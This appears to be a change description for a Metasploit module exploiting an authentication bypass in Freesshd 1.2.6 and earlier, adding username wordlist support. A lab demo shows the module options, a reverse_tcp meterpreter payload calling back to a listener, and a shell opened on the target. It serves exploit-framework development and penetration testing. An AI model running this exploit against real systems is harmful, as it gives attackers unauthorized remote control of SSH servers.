Freesshd authbypass update

Allows usernames to be loaded as a file (wordlist), that way the it's much easier to manage.  It defaults to unix_users.txt, because these usernames are common in any SSH hosts out there.
If the user only wants to try a specific user (which is better, because you reduce traffic noise that way), then he/she can set the USERNAME option, and that should be the only one tried --
similar to how AuthBrute behaves.

I also fixed the regex in check().

Demo:

	msf  exploit(freesshd_authbypass) > show options

	Module options (exploit/windows/ssh/freesshd_authbypass):

	   Name       Current Setting  Required  Description
	   ----       ---------------  --------  -----------
	   RHOST      10.0.1.6         yes       The target address
	   RPORT      22               yes       The target port
	   USERNAME                    no        A specific username to try
	   USER_FILE  /tmp/users.txt   yes       File containing usernames, one per line


	Payload options (windows/meterpreter/reverse_tcp):

	   Name      Current Setting  Required  Description
	   ----      ---------------  --------  -----------
	   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
	   LHOST     10.0.1.3         yes       The listen address
	   LPORT     4444             yes       The listen port


	Exploit target:

	   Id  Name
	   --  ----
	   0   Freesshd <= 1.2.6 / Windows (Universal)


	msf  exploit(freesshd_authbypass) > exploit

	[*] Started reverse handler on 10.0.1.3:4444 
	[*] Trying username 'root'
	[*] Trying username 'Administrator'
	[*] Trying username 'apple'
	[*] Trying username 'lab'
	[*] Uploading payload, this may take several minutes...
	[*] Sending stage (752128 bytes) to 10.0.1.6
	[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.6:1079) at 2013-01-16 02:13:56 -0600

	meterpreter >